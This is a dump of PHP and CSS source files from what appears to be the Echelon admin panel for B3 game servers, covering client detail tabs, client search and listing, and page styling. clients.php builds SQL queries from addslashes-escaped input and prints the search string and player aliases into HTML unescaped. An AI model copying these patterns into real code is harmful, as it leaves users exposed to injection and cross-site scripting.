##\r\n\t\t\tif(!$no_plugins_active)\r\n\t\t\t\t$plugins->displayCDForm($cid)\r\n\t\t\t\r\n\t\t?>\r\n\t</div><!-- end #actions-box -->\r\n</div><!-- end #actions -->\r\n</div>\r\n</div>\r\n</div>\r\n\r\n<!-- Start Information Tables Panel -->\r\n\r\n<div class=\"container my-2\">\r\n<div class=\"card\">\r\n<div class=\"card-header\">\r\n<ul class=\"nav nav-pills nav-fill\" role=\"tablist\">\r\n<li class=\"nav-item\">\r\n<a class=\"nav-link active\" id=\"penalties-tab\" data-toggle=\"tab\" href=\"#penalties\" role=\"tab\" aria-controls=\"penalties\" aria-selected=\"true\"><h6 class=\"my-auto\">Penalties</h6></a>\r\n</li>\r\n<li class=\"nav-item\">\r\n<a class=\"nav-link\" id=\"clientaliases-tab\" href=\"#clientaliases\" data-toggle=\"tab\" role=\"tab\" aria-controls=\"clientaliases\" aria-selected=\"false\"><h6 class=\"my-auto\">Client Aliases</h6></a>\r\n</li>\r\n<?php if($mem->reqLevel('view_ip')) : ?>\r\n<li class=\"nav-item\">\r\n<a class=\"nav-link\" id=\"ipaliases-tab\" href=\"#ipaliases\" data-toggle=\"tab\" role=\"tab\" aria-controls=\"ipaliases\" aria-selected=\"false\"><h6 class=\"my-auto\">IP Aliases</h6></a>\r\n</li>\r\n<?php\r\n\tendif; // end hide is no records\r\n?>\r\n<li class=\"nav-item\">\r\n<a class=\"nav-link\" id=\"admin-tab\" href=\"#admin\" data-toggle=\"tab\" role=\"tab\" aria-controls=\"admin\" aria-selected=\"false\"><h6 class=\"my-auto\">Admin Actions</h6></a>\r\n</li>\r\n<?php\r\n\t## Get Echelon Logs Client Logs (NOTE INFO IN THE ECHELON DB) ##\r\n\t$ech_logs = $dbl->getEchLogs($cid, $game);\r\n\t\r\n\t$count = count((array)$ech_logs);\r\n\tif($count > 0) : // if there are records\r\n?>\r\n<li class=\"nav-item\">\r\n<a class=\"nav-link\" id=\"echelon-tab\" href=\"#echelon\" data-toggle=\"tab\" role=\"tab\" aria-controls=\"echelon\" aria-selected=\"false\"><h6 class=\"my-auto\">Echelon Logs</h6></a>\r\n</li>\r\n<?php\r\n\tendif; // end hide is no records\r\n\tif(!$no_plugins_active)\r\n        $plugins->displayCDFormNavTab($cid);\r\n        $plugins->displayCDFormNavTabLog($cid);\r\n?> \r\n</ul>\r\n</div>\r\n<div class=\"card-body\">\r\n<div class=\"tab-content\">\r\n<!-- Client Penalties -->\r\n<div id=\"penalties\"  class=\"tab-pane fade show active table table-hover table-responsive table-sm\" role=\"tabpanel\" aria-labelledby=\"penalties-tab\">\r\n\t<table id=\"cd-pen-table\" width=\"100%\">\r\n\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>Ban ID</th>\r\n\t\t\t\t<th>Type</th>\r\n\t\t\t\t<th>Added</th>\r\n\t\t\t\t<th>Duration</th>\r\n\t\t\t\t<th>Expires</th>\r\n\t\t\t\t<th>Reason</th>\r\n\t\t\t\t<th>Admin</th>\r\n\t\t\t</tr>\r\n\t\t</thead>\r\n\t\t<tfoot>\r\n\t\t\t<tr><td colspan=\"7\"></td></tr>\r\n\t\t</tfoot>\r\n\t\t<tbody id=\"contain-pen\">\r\n\t\t\t<?php \r\n\t\t\t\t$type_inc = 'client';\r\n\t\t\t\tinclude 'inc/cd/penalties.php'; \r\n\t\t\t?>\r\n\t\t</tbody>\r\n\t</table>\r\n</div>\r\n\r\n<!-- Start Client Aliases -->\r\n<div id=\"clientaliases\" class=\"tab-pane fade table table-hover table-responsive table-sm\" role=\"tabpanel\" aria-labelledby=\"clientalises-tab\">\r\n<table id=\"cd-ia-table\" width=\"100%\">\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Alias</th>\r\n\t\t\t<th>Times Used</th>\r\n\t\t\t<th>First Used</th>\r\n\t\t\t<th>Last Used</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr><th colspan=\"4\"></th></tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\t\t// notice on the query we say that time_add does not equal time_edit, this is because of bug in alias recording in B3 that has now been solved EDIT= it doesnt show all aliases though\r\n        // $query = \"SELECT alias, num_used, time_add, time_edit FROM aliases WHERE client_id = 64335 AND time_add != time_edit ORDER BY time_edit DESC\";\r\n\t\t$query = \"SELECT alias, num_used, time_add, time_edit FROM aliases WHERE client_id = ? ORDER BY time_edit DESC\";\r\n\t\t$stmt = $db->mysql->prepare($query) or die('Alias Database Query Error'. $db->mysql->error);\r\n\t\t$stmt->bind_param('i', $cid);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($alias, $num_used, $time_add, $time_edit);\r\n\t\t\r\n\t\t$stmt->store_result(); // needed for the $stmt->num_rows call\r\n\r\n\t\tif($stmt->num_rows) :\r\n\t\t\t\r\n\t\t\twhile($stmt->fetch()) :\r\n\t\r\n\t\t\t\t$time_add = date($tformat, $time_add);\r\n\t\t\t\t$time_edit = date($tformat, $time_edit);\r\n\t\t\t\t\r\n\t\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t\t$token_del = genFormToken('del'.$id);\t\t\r\n\t\t\t\t\r\n\t\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t\t$data = <<<EOD\r\n\t\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t\t<td><strong>$alias</strong></td>\r\n\t\t\t\t\t<td>$num_used</td>\r\n\t\t\t\t\t<td><em>$time_add</em></td>\r\n\t\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t\t</tr>\r\nEOD;\r\n\t\t\t\techo $data;\r\n\t\t\t\r\n\t\t\tendwhile;\r\n\t\t\r\n\t\telse : // if there are no aliases connected with this user then put out a small and short message\r\n\t\t\r\n\t\t\techo '<tr><td colspan=\"4\">'.$name.' has no aliases.</td></tr>';\r\n\t\t\r\n\t\tendif;\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div>\r\n\r\n<!-- Start IP-Aliases -->\r\n<?php if($mem->reqLevel('view_ip')) : ?>\r\n<div id=\"ipaliases\" class=\"tab-pane fade table table-hover table-responsive table-sm\" role=\"tabpanel\" aria-labelledby=\"ipalises-tab\">\r\n<table id=\"cd-ipa-table\" width=\"100%\">\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>IP-Alias</th>\r\n\t\t\t<th>Times Used</th>\r\n\t\t\t<th>First Used</th>\r\n\t\t\t<th>Last Used</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr><th colspan=\"4\"></th></tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\t\t$query = \"SELECT ip, num_used, time_add, time_edit FROM ipaliases WHERE client_id = ? ORDER BY time_edit DESC\";\r\n\t\t$stmt = $db->mysql->prepare($query) or die('IP-Alias Database Query Error'. $db->mysql->error);\r\n\t\t$stmt->bind_param('i', $cid);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($alias, $num_used, $time_add, $time_edit);\r\n\t\t\r\n\t\t$stmt->store_result(); // needed for the $stmt->num_rows call\r\n\r\n\t\tif($stmt->num_rows) :\r\n\t\t\t\r\n\t\t\twhile($stmt->fetch()) :\r\n\t\r\n\t\t\t\t$time_add = date($tformat, $time_add);\r\n\t\t\t\t$time_edit = date($tformat, $time_edit);\r\n\t\t\t\t\r\n\t\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t\t$token_del = genFormToken('del'.$id);\t\t\r\n\t\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t\t$data = <<<EOD\r\n\t\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t\t<td><strong><a href=\"clients.php?s=$alias&amp;t=ip\" title=\"Search for other users with this IP address\">$alias</a></strong></td>\r\n\t\t\t\t\t<td>$num_used</td>\r\n\t\t\t\t\t<td><em>$time_add</em></td>\r\n\t\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t\t</tr>\r\nEOD;\r\n\t\t\t\techo $data;\r\n\t\t\t\r\n\t\t\tendwhile;\r\n\t\t\r\n\t\telse : // if there are no aliases connected with this user then put out a small and short message\r\n\t\t\r\n\t\t\techo '<tr><td colspan=\"4\">'.$name.' has no IP-aliases.</td></tr>';\r\n\t\t\r\n\t\tendif;\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div>\r\n<?php\r\n\tendif; // end hide is no records\r\n?>\r\n\r\n<!-- Admin History -->\r\n<div id=\"admin\" class=\"tab-pane fade table table-hover table-responsive table-sm\" role=\"tabpanel\" aria-labelledby=\"admin-tab\">\r\n\t<table id=\"cd-admin-table\" width=\"100%\">\r\n\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>ID</th>\r\n\t\t\t\t<th>Type</th>\r\n\t\t\t\t<th>Added</th>\r\n\t\t\t\t<th>Duration</th>\r\n\t\t\t\t<th>Expires</th>\r\n\t\t\t\t<th>Reason</th>\r\n\t\t\t\t<th>Admin</th>\r\n\t\t\t</tr>\r\n\t\t</thead>\r\n\t\t<tfoot>\r\n\t\t\t<tr><td colspan=\"7\"></td></tr>\r\n\t\t</tfoot>\r\n\t\t<tbody id=\"contain-admin\">\r\n\t\t\t<?php \r\n\t\t\t\t$type_inc = 'admin';\r\n\t\t\t\tinclude 'inc/cd/penalties.php'; \r\n\t\t\t?>\r\n\t\t</tbody>\r\n\t</table>\r\n</div>\r\n\r\n<!-- Start Client Echelon Logs -->\r\n\r\n<?php\r\n\t## Get Echelon Logs Client Logs (NOTE INFO IN THE ECHELON DB) ##\r\n\t$ech_logs = $dbl->getEchLogs($cid, $game);\r\n\t\r\n\t$count = count((array)$ech_logs);\r\n\tif($count > 0) : // if there are records\r\n?>\r\n<div id=\"echelon\" class=\"tab-pane fade table table-hover table-responsive table-sm\" role=\"tabpanel\" aria-labelledby=\"echelon-tab\">\r\n\t<table id=\"cd-ech-table\" width=\"100%\">\r\n\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>ID</th>\r\n\t\t\t\t<th>Type</th>\r\n\t\t\t\t<th>Message</th>\r\n\t\t\t\t<th>Time Added</th>\r\n\t\t\t\t<th>Admin</th>\r\n\t\t\t</tr>\r\n\t\t</thead>\r\n\t\t<tfoot>\r\n\t\t\t<tr><th colspan=\"5\"></th></tr>\r\n\t\t</tfoot>\r\n\t\t<tbody>\r\n\t\t\t<?php displayEchLog($ech_logs, 'client'); ?>\r\n\t\t</tbody>\r\n\t</table>  \r\n</div>\r\n\r\n<?php\r\n\tendif; // end hide is no records\r\n?>\r\n\r\n<?php \r\n    ## Plugins Client Bio Area ##\r\n\tif(!$no_plugins_active):  \r\n?>\r\n<div id=\"xlr\" class=\"tab-pane fade\" role=\"tabpanel\" aria-labelledby=\"xlr-tab\">\r\n<?php $plugins->displayCDBio();?>\r\n</div>\r\n<?php\r\n\tendif; // end hide is no records\r\n\r\n    ## Plugins Client Bio Area ##\r\n    if(!$no_plugins_active):  \r\n?>\r\n<div id=\"chatlog\" class=\"tab-pane fade\" role=\"tabpanel\" aria-labelledby=\"chatlog-tab\">\r\n<?php\r\n## Plugins Log Include Area ##\r\n$plugins->displayCDlogs($cid);?>\r\n</div>\r\n<?php\r\n\tendif; // end hide is no records\r\n?>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n\r\n<?php\r\n// Close page off with the footer\r\nrequire 'inc/footer.php'; \r\n?>\r\n", "echelon/clients.php": "<?php\r\n$page = \"client\";\r\n$page_title = \"Clients Listing\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_edit\";\r\n$order = \"DESC\";\r\n\r\n$is_search = false;\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('id', 'name', 'connections', 'group_bits', 'time_add', 'time_edit');\r\n// Check if the sent varible is in the allowed array \r\nif(!in_array($orderby, $allowed_orderby))\r\n\t$orderby = 'id'; // if not just set to default id\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n## Search Request handling ##\r\nif($_GET['s']) {\r\n\t$search_string = addslashes($_GET['s']);\r\n\t$is_search = true; // this is then a search page\r\n}\r\n\r\nif($_GET['t']) {\r\n\t$search_type = $_GET['t']; //  no need to escape it will be checked off whitelist\r\n\t$allowed_search_type = array('all', 'alias', 'guid', 'ip', 'id', 'aliastable', 'ipaliastable');\r\n\tif(!in_array($search_type, $allowed_search_type))\r\n\t\t$search_type = 'all'; // if not just set to default all\r\n}\r\n\r\n\r\n###########################\r\n######### QUERIES #########\r\n\r\n$query = \"SELECT c.id, c.name, c.connections, c.time_edit, c.time_add, c.group_bits, g.name as level\r\n\t\t\tFROM clients c LEFT JOIN groups g\r\n\t\t\tON c.group_bits = g.id WHERE c.id != 1 \";\r\n            \r\n\r\nif($is_search == true) : // IF SEARCH\r\n\tif($search_type == 'alias') { // NAME\r\n\t\t$query .= \"AND c.name LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'id') { // ID\r\n\t\t$query .= \"AND c.id LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'guid') { // GUID\r\n\t\t$query .= \"AND c.guid LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'ip') { // IP\r\n\t\t$query .= \"AND c.ip LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'aliastable') { // ALIAS\r\n\t\t$query = \"SELECT client_id AS id, alias AS name, time_edit, time_add FROM aliases WHERE alias LIKE '%$search_string%' ORDER BY $orderby\";\r\n\r\n\t} elseif($search_type == 'ipaliastable') { // IP-ALIAS\r\n\t\t$query = \"SELECT client_id AS id, ip AS name, time_edit, time_add FROM ipaliases WHERE ip LIKE '%$search_string%' ORDER BY $orderby\";\r\n\r\n\t}else { // ALL\r\n\t\t$query .= \"AND c.name LIKE '%$search_string%' OR c.guid LIKE '%$search_string%' OR c.ip LIKE '%$search_string%' OR c.id LIKE '%$search_string%'\r\n\t\t\tORDER BY $orderby\";\r\n\t}\r\nelse : // IF NOT SEARCH\r\n\t$query .= sprintf(\"ORDER BY %s \", $orderby);\r\n\r\nendif; // end if search request\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php';\r\n\r\nif(!$db->error) :\r\n?>\r\n\r\n<div class=\"container my-2\">\r\n<div class=\"card\">\r\n<div class=\"card-header\">\r\n    <h5 class=\"my-auto\">Client Listings\r\n    <small class=\"my-1 float-sm-right\"><?php echo $game_name; ?></small>\r\n    </h5>\r\n    \t\t\t<?php\r\n\t\t\tif($search_type == \"all\")\r\n\t\t\t\techo 'You are searching all clients that match <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n\t\t\telseif($search_type == 'alias')\r\n\t\t\t\techo 'You are searching all clients names for <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n            elseif($search_type == 'aliastable')\r\n\t\t\t\techo 'You are searching all alias names for <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n            elseif($search_type == 'ipaliastable')\r\n\t\t\t\techo 'You are searching all client IP-alias names for <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n\t\t\telseif($search_type == 'guid')\r\n\t\t\t\techo 'You are searching all clients GUIDs for <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n\t\t\telseif($search_type == 'id')\r\n\t\t\t\techo 'You are searching all clients B3 IDs for <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n\t\t\telseif($search_type == 'ip')\r\n\t\t\t\techo 'You are searching all clients IP addresses for <strong>'.$search_string.'</strong>. There are <strong>'. $total_rows .'</strong> entries matching your request.';\r\n\t\t\t?>\r\n</div>\r\n    <div class=\"card-body table table-hover table-sm table-responsive\">\r\n    <table width=\"100%\">\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Name\r\n\t\t\t\t<?php linkSortClients('name', 'Name', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Client-ID\r\n\t\t\t\t<?php linkSortClients('id', 'Client-ID', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Level\r\n\t\t\t\t<?php linkSortClients('group_bits', 'Level', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Connections\r\n\t\t\t\t<?php linkSortClients('connections', 'Connections', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>First Seen\r\n\t\t\t\t<?php linkSortClients('time_add', 'First Seen', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Last Seen\r\n\t\t\t\t<?php linkSortClients('time_edit', 'Last Seen', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"6\">Click client name to see details.</th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) : // query contains stuff\r\n\t \r\n\t\tforeach($data_set as $client): // get data from query and loop\r\n\t\t\t$cid = $client['id'];\r\n\t\t\t$name = $client['name'];\r\n\t\t\t$level = $client['level'];\r\n\t\t\t$connections = $client['connections'];\r\n\t\t\t$time_edit = $client['time_edit'];\r\n\t\t\t$time_add = $client['time_add'];\r\n\t\t\t\r\n\t\t\t$time_add = date($tformat, $time_add);\r\n\t\t\t$time_edit = date($tformat, $time_edit);\r\n\t\t\t\r\n\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t$client = clientLink($name, $cid);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client</strong></td>\r\n\t\t\t\t<td>@$cid</td>\r\n\t\t\t\t<td>$level</td>\r\n\t\t\t\t<td>$connections</td>\r\n\t\t\t\t<td><em>$time_add</em></td>\r\n\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\techo $data;\r\n\t\tendforeach;\r\n\telse :\r\n\t\t$no_data = true;\r\n\t\r\n\t\techo '<tr class=\"odd\"><td colspan=\"6\">';\r\n\t\tif($is_search == false)\r\n\t\t\techo 'There are no clients in the database.';\r\n\t\telse\r\n\t\t\techo 'Your search for <strong>'.$search_string.'</strong> has returned no results. Maybe try an Alias/IP-Alias search?';\r\n\t\techo '</td></tr>';\r\n\tendif; // no records\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div></div></div>\r\n\r\n<?php\r\n\telse:\r\n\t\t\r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>", "echelon/css/cd.css": "/* Client Details Page Styling */\r\n@media screen {\r\n\r\ntable.cd-table { margin-bottom: 25px; border: none; }\r\n\t.cd-table tbody tr { border-bottom: 1px solid #F4F4F4; }\r\n\t.cd-table tbody tr th { width: 15%; background: none; border: none; text-align: right; }\r\n\t.cd-table tbody tr td { width: 35%; border: none; }\r\n\r\ndiv#actions { margin-bottom: 25px; }\r\n\r\nul.cd-tabs { display: block; margin-left: 10px; height: 26px; }\r\nul.cd-tabs li { display: block; float: left; margin: 0 6px; background: #ddd; border: 1px solid #CCC; -moz-border-radius: 5px 5px 0 0; -webkit-border-radius: 5px 5px 0 0; box-shadow: 4px -1px 6px #EDEDED; -webkit-box-shadow: 4px -1px 6px #EDEDED; -moz-box-shadow: 4px -1px 6px #EDEDED; }\r\nul.cd-tabs li.cd-active, ul.cd-tabs li.chat-active { padding-bottom: 3px; border-bottom: none; background: #f3f3f3; box-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; }\r\nul.cd-tabs li a { padding: 4px 9px; font-size: 15px; color: #999; display: block; }\r\nul.cd-tabs li a:hover { color: #666; text-decoration: none; cursor: pointer; }\r\n\r\n#actions-box { background: #f3f3f3; padding: 15px; border: 1px solid #CCC; -moz-border-radius: 7px; -webkit-border-radius: 7px; }\r\n.act-slide { display: none; }\r\n#cd-act-comment { display: block; }\r\n\r\n#chats-box { background: #f3f3f3; padding: 15px; border: 1px solid #CCC; -moz-border-radius: 7px; -webkit-border-radius: 7px; }\r\n.chat-content { display: none; }\r\n#chat-tab-0 { display: block; }\r\n\r\n.xlr { height: 7px; }\r\n\r\n.cd-h { margin: 20px 0 4px; border-bottom: 1px solid #efefef; padding-bottom: 3px; }\r\n.cd-open-close:hover, .cd-slide, #cd-h-admin:hover, #cd-h-pen:hover { cursor: pointer; }\r\nimg.cd-open { float: right; padding: 3px; margin: 8px; }\r\n\r\n.cd-table-fold { display: none; }\r\n#cd-tr-load-pen td { text-align: center; }\r\n#cd-tr-load-pen:hover { background : #fff; }\r\n.load-large { margin: 15px; }\r\n\r\n#eb-reason, #reason { width: 350px; }\r\ninput.dur { width: 60px; }\r\n\r\n.unban-form { width: 18px; display: inline; }\r\n.edit-ban:hover { cursor: pointer; }\t\t\r\n.eb-fs { display: block; float: none !important; width: 93% !important; }\r\n\r\n#edit-ban { margin: 25px; }\r\n\r\n/* ColorBox Core Style */\r\n#colorbox, #cboxOverlay, #cboxWrapper{position:absolute; top:0; left:0; z-index:9999; overflow:hidden;}\r\n#cboxOverlay{position:fixed; width:100%; height:100%;}\r\n#cboxMiddleLeft, #cboxBottomLeft{clear:left;}\r\n#cboxContent{position:relative; overflow:visible;}\r\n#cboxLoadedContent{overflow:auto;}\r\n#cboxLoadedContent iframe{display:none; width:100%; height:100%; border:0;}\r\n#cboxTitle{margin:0;}\r\n#cboxLoadingOverlay, #cboxLoadingGraphic{position:absolute; top:0; left:0; width:100%;}\r\n#cboxPrevious, #cboxNext, #cboxClose, #cboxSlideshow{cursor:pointer;}\r\n\r\n#cboxOverlay{background:#000;}\r\n\r\n#colorbox{}\r\n    #cboxTopLeft{width:14px; height:14px; background:url(../images/colorbox/controls.png) 0 0 no-repeat;}\r\n    #cboxTopCenter{height:14px; background:url(../images/colorbox/border.png) top left repeat-x;}\r\n    #cboxTopRight{width:14px; height:14px; background:url(../images/colorbox/controls.png) -36px 0 no-repeat;}\r\n    #cboxBottomLeft{width:14px; height:43px; background:url(../images/colorbox/controls.png) 0 -32px no-repeat;}\r\n    #cboxBottomCenter{height:43px; background:url(../images/colorbox/border.png) bottom left repeat-x;}\r\n    #cboxBottomRight{width:14px; height:43px; background:url(../images/colorbox/controls.png) -36px -32px no-repeat;}\r\n    #cboxMiddleLeft{width:14px; background:url(../images/colorbox/controls.png) -175px 0 repeat-y;}\r\n    #cboxMiddleRight{width:14px; background:url(../images/colorbox/controls.png) -211px 0 repeat-y;}\r\n    #cboxContent{background:#fff;}\r\n        #cboxLoadedContent{margin-bottom:5px;}\r\n        #cboxLoadingOverlay{background:url(../images/colorbox/loading_background.png) center center no-repeat;}\r\n        #cboxLoadingGraphic{background:url(../images/colorbox/loading.gif) center center no-repeat;}\r\n        #cboxTitle{position:absolute; bottom:-25px; left:0; text-align:center; width:100%; font-weight:bold; color:#7C7C7C;}\r\n        #cboxCurrent{position:absolute; bottom:-25px; left:58px; font-weight:bold; color:#7C7C7C;}\r\n        \r\n        #cboxPrevious, #cboxNext, #cboxClose, #cboxSlideshow{position:absolute; bottom:-29px; background:url(../images/colorbox/controls.png) 0px 0px no-repeat; width:23px; height:23px; text-indent:-9999px;}\r\n        #cboxPrevious{left:0px; background-position: -51px -25px;}\r\n        #cboxPrevious.hover{background-position:-51px 0px;}\r\n        #cboxNext{left:27px; background-position:-75px -25px;}\r\n        #cboxNext.hover{background-position:-75px 0px;}\r\n        #cboxClose{right:0; background-position:-100px -25px;}\r\n        #cboxClose.hover{background-position:-100px 0px;}\r\n        \r\n        .cboxSlideshow_on #cboxSlideshow{background-position:-125px 0px; right:27px;}\r\n        .cboxSlideshow_on #cboxSlideshow.hover{background-position:-150px 0px;}\r\n        .cboxSlideshow_off #cboxSlideshow{background-position:-150px -25px; right:27px;}\r\n        .cboxSlideshow_off #cboxSlideshow.hover{background-position:-125px 0px;}\r\n\t\r\n}\t\r\n@media print {\r\n\r\nbody { width:100% !important; margin:0 !important; padding:0 !important; line-height: 1.4; word-spacing:1.1pt; letter-spacing:0.2pt; font-family: Georgia, \"Trebuchet MS\", Helvetica, sans-serif; color: #000; background: none; font-size: 12pt; }\r\nh1,h2,h3,h4,h5,h6 { font-family: Georgia, \"Trebuchet MS\", Helvetica, sans-serif; }\r\nh1{font-size:19pt;}\r\nh2{font-size:17pt;}\r\nh3{font-size:15pt;}\r\nh4,h5,h6{font-size:12pt;}\r\ncode { font: 10pt Courier, monospace; } \r\nblockquote { margin: 1.3em; padding: 1em;  font-size: 10pt; }\r\nhr { background-color: #ccc; }\r\nimg { display: block; margin: 1em 0; }\r\na img { border: none; }\r\ntable { margin: 1px; text-align:left; }\r\nth { border-bottom: 1px solid #333;  font-weight: bold; }\r\ntd { border-bottom: 1px solid #333; }\r\nth,td { padding: 4px 10px 4px 0; }\r\ntfoot { font-style: italic; }\r\ncaption { background: #fff; margin-bottom:2em; text-align:left; }\r\nthead {display: table-header-group;}\r\ntr { page-break-inside: avoid;} \r\na { text-decoration: none; color: black; }\r\n\r\n#menu, #actions, .foot-nav, caption, .cd-open, #content-lower, .unban-form, .edit-ban { display: none; }\r\n\r\n}\r\n"}}